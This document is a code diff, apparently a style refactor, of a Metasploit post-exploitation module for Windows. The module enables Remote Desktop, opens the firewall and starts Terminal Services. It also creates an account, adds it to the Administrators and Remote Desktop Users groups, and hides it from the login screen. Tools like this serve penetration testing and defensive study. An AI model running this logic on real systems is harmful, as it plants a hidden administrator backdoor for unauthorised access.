@@ -10,33 +10,43 @@ class MetasploitModule < Msf::Post
10
10
include Msf ::Post ::Windows ::Priv
11
11
include Msf ::Post ::File
12
12
13
- def initialize ( info = { } )
14
- super ( update_info ( info ,
15
- 'Name' => 'Windows Manage Enable Remote Desktop' ,
16
- 'Description' => %q{
17
- This module enables the Remote Desktop Service (RDP). It provides the options to create
18
- an account and configure it to be a member of the Local Administrators and
19
- Remote Desktop Users group. It can also forward the target's port 3389/tcp.} ,
20
- 'License' => BSD_LICENSE ,
21
- 'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>' ] ,
22
- 'Platform' => [ 'win' ] ,
23
- 'SessionTypes' => [ 'meterpreter' ]
24
- ) )
13
+ def initialize ( info = { } )
14
+ super (
15
+ update_info (
16
+ info ,
17
+ 'Name' => 'Windows Manage Enable Remote Desktop' ,
18
+ 'Description' => %q{
19
+ This module enables the Remote Desktop Service (RDP). It provides the options to create
20
+ an account and configure it to be a member of the Local Administrators and
21
+ Remote Desktop Users group. It can also forward the target's port 3389/tcp.} ,
22
+ 'License' => BSD_LICENSE ,
23
+ 'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>' ] ,
24
+ 'Platform' => [ 'win' ] ,
25
+ 'SessionTypes' => [ 'meterpreter' ]
26
+ )
27
+ )
25
28
26
29
register_options (
27
30
[
28
31
OptString . new ( 'USERNAME' , [ false , 'The username of the user to create.' ] ) ,
29
32
OptString . new ( 'PASSWORD' , [ false , 'Password for the user created.' ] ) ,
30
- OptBool . new ( 'ENABLE' , [ false , 'Enable the RDP Service and Firewall Exception.' , true ] ) ,
31
- OptBool . new ( 'FORWARD' , [ false , 'Forward remote port 3389 to local Port.' , false ] ) ,
32
- OptInt . new ( 'LPORT' , [ false , 'Local port to forward remote connection.' , 3389 ] )
33
- ] )
33
+ OptBool . new ( 'ENABLE' , [ false , 'Enable the RDP Service and Firewall Exception.' , true ] ) ,
34
+ OptBool . new ( 'FORWARD' , [ false , 'Forward remote port 3389 to local Port.' , false ] ) ,
35
+ OptInt . new ( 'LPORT' , [ false , 'Local port to forward remote connection.' , 3389 ] )
36
+ ]
37
+ )
34
38
end
35
39
36
40
def run
37
- if datastore [ 'ENABLE' ] or ( datastore [ 'USERNAME' ] and datastore [ 'PASSWORD' ] )
38
- cleanup_rc = store_loot ( "host.windows.cleanup.enable_rdp" , "text/plain" , session , "" ,
39
- "enable_rdp_cleanup.rc" , "enable_rdp cleanup resource file" )
41
+ if datastore [ 'ENABLE' ] || ( datastore [ 'USERNAME' ] && datastore [ 'PASSWORD' ] )
42
+ cleanup_rc = store_loot (
43
+ "host.windows.cleanup.enable_rdp" ,
44
+ "text/plain" ,
45
+ session ,
46
+ "" ,
47
+ "enable_rdp_cleanup.rc" ,
48
+ "enable_rdp cleanup resource file"
49
+ )
40
50
41
51
if datastore [ 'ENABLE' ]
42
52
if is_admin?
@@ -46,9 +56,9 @@ def run
46
56
print_error ( "Insufficient privileges, Remote Desktop Service was not modified" )
47
57
end
48
58
end
49
- if datastore [ 'USERNAME' ] and datastore [ 'PASSWORD' ]
59
+ if datastore [ 'USERNAME' ] && datastore [ 'PASSWORD' ]
50
60
if is_admin?
51
- addrdpusr ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] , cleanup_rc )
61
+ addrdpusr ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] , cleanup_rc )
52
62
else
53
63
print_error ( "Insufficient privileges, account was not be created." )
54
64
end
@@ -65,49 +75,48 @@ def enablerd(cleanup_rc)
65
75
key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server'
66
76
value = "fDenyTSConnections"
67
77
begin
68
- v = registry_getvaldata ( key , value )
78
+ v = registry_getvaldata ( key , value )
69
79
print_status "Enabling Remote Desktop"
70
80
if v == 1
71
81
print_status "\t RDP is disabled; enabling it ..."
72
- registry_setvaldata ( key , value , 0 , "REG_DWORD" )
73
- file_local_write ( cleanup_rc , "reg setval -k \' HKLM\\ System\\ CurrentControlSet\\ Control\\ Terminal Server\' -v 'fDenyTSConnections' -d \" 1\" " )
82
+ registry_setvaldata ( key , value , 0 , "REG_DWORD" )
83
+ file_local_write ( cleanup_rc , "reg setval -k \' HKLM\\ System\\ CurrentControlSet\\ Control\\ Terminal Server\' -v 'fDenyTSConnections' -d \" 1\" " )
74
84
else
75
85
print_status "\t RDP is already enabled"
76
86
end
77
- rescue :: Exception => e
87
+ rescue StandardError => e
78
88
print_status ( "The following Error was encountered: #{ e . class } #{ e } " )
79
89
end
80
90
end
81
91
82
-
83
92
def enabletssrv ( cleanup_rc )
84
93
service_name = "termservice"
85
94
srv_info = service_info ( service_name )
86
95
begin
87
96
print_status "Setting Terminal Services service startup mode"
88
97
if srv_info [ :starttype ] != START_TYPE_AUTO
89
98
print_status "\t The Terminal Services service is not set to auto, changing it to auto ..."
90
- unless ( service_change_config ( service_name , { : starttype => "START_TYPE_AUTO" } ) == Windows ::Error ::SUCCESS )
99
+ unless service_change_config ( service_name , starttype : "START_TYPE_AUTO" ) == Windows ::Error ::SUCCESS
91
100
print_error ( "\t Unable to change start type to Auto" )
92
101
end
93
- file_local_write ( cleanup_rc , "execute -H -f cmd.exe -a \" /c sc config termservice start= disabled\" " )
94
- if ( service_start ( service_name ) == Windows ::Error ::SUCCESS )
102
+ file_local_write ( cleanup_rc , "execute -H -f cmd.exe -a \" /c sc config termservice start= disabled\" " )
103
+ if service_start ( service_name ) == Windows ::Error ::SUCCESS
95
104
print_good ( "\t RDP Service Started" )
96
105
end
97
- file_local_write ( cleanup_rc , "execute -H -f cmd.exe -a \" /c sc stop termservice\" " )
106
+ file_local_write ( cleanup_rc , "execute -H -f cmd.exe -a \" /c sc stop termservice\" " )
98
107
else
99
108
print_status "\t Terminal Services service is already set to auto"
100
109
end
101
- #Enabling Exception on the Firewall
110
+ # Enabling Exception on the Firewall
102
111
print_status "\t Opening port in local firewall if necessary"
103
112
cmd_exec ( 'netsh' , 'firewall set service type = remotedesktop mode = enable' , 30 )
104
- file_local_write ( cleanup_rc , "execute -H -f cmd.exe -a \" /c 'netsh firewall set service type = remotedesktop mode = enable'\" " )
105
- rescue :: Exception => e
113
+ file_local_write ( cleanup_rc , "execute -H -f cmd.exe -a \" /c 'netsh firewall set service type = remotedesktop mode = enable'\" " )
114
+ rescue StandardError => e
106
115
print_status ( "The following Error was encountered: #{ e . class } #{ e } " )
107
116
end
108
117
end
109
118
110
- def addrdpusr ( username , password , cleanup_rc )
119
+ def addrdpusr ( username , password , cleanup_rc )
111
120
print_status "Setting user account for logon"
112
121
print_status "\t Adding User: #{ username } with Password: #{ password } "
113
122
begin
@@ -139,16 +148,16 @@ def addrdpusr(username, password,cleanup_rc)
139
148
end
140
149
141
150
if user_added
142
- file_local_write ( cleanup_rc , "execute -H -f cmd.exe -a \" /c net user #{ username } /delete\" " )
151
+ file_local_write ( cleanup_rc , "execute -H -f cmd.exe -a \" /c net user #{ username } /delete\" " )
143
152
print_status "\t Adding User: #{ username } to local group '#{ rdu } '"
144
- cmd_exec ( "cmd.exe" , "/c net localgroup \" #{ rdu } \" #{ username } /add" )
153
+ cmd_exec ( "cmd.exe" , "/c net localgroup \" #{ rdu } \" #{ username } /add" )
145
154
146
155
print_status "\t Hiding user from Windows Login screen"
147
156
hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'
148
- registry_setvaldata ( hide_user_key , username , 0 , "REG_DWORD" )
149
- file_local_write ( cleanup_rc , "reg deleteval -k HKLM\\ \\ SOFTWARE\\ \\ Microsoft\\ \\ Windows\\ NT\\ \\ CurrentVersion\\ \\ Winlogon\\ \\ SpecialAccounts\\ \\ UserList -v #{ username } " )
157
+ registry_setvaldata ( hide_user_key , username , 0 , "REG_DWORD" )
158
+ file_local_write ( cleanup_rc , "reg deleteval -k HKLM\\ \\ SOFTWARE\\ \\ Microsoft\\ \\ Windows\\ NT\\ \\ CurrentVersion\\ \\ Winlogon\\ \\ SpecialAccounts\\ \\ UserList -v #{ username } " )
150
159
print_status "\t Adding User: #{ username } to local group '#{ admin } '"
151
- cmd_exec ( "cmd.exe" , "/c net localgroup #{ admin } #{ username } /add" )
160
+ cmd_exec ( "cmd.exe" , "/c net localgroup #{ admin } #{ username } /add" )
152
161
print_status "You can now login with the created user"
153
162
else
154
163
print_error ( "Account could not be created" )
@@ -157,17 +166,12 @@ def addrdpusr(username, password,cleanup_rc)
157
166
print_error ( "\t #{ l . chomp } " )
158
167
end
159
168
end
160
- rescue :: Exception => e
169
+ rescue StandardError => e
161
170
print_status ( "The following Error was encountered: #{ e . class } #{ e } " )
162
171
end
163
172
end
164
173
165
174
def check_user ( user )
166
- output = cmd_exec ( 'cmd.exe' , '/c net user' )
167
- if output . include? ( user )
168
- return true
169
- end
170
-
171
- false
175
+ cmd_exec ( 'cmd.exe' , '/c net user' ) . include? ( user )
172
176
end
173
177
end
0 commit comments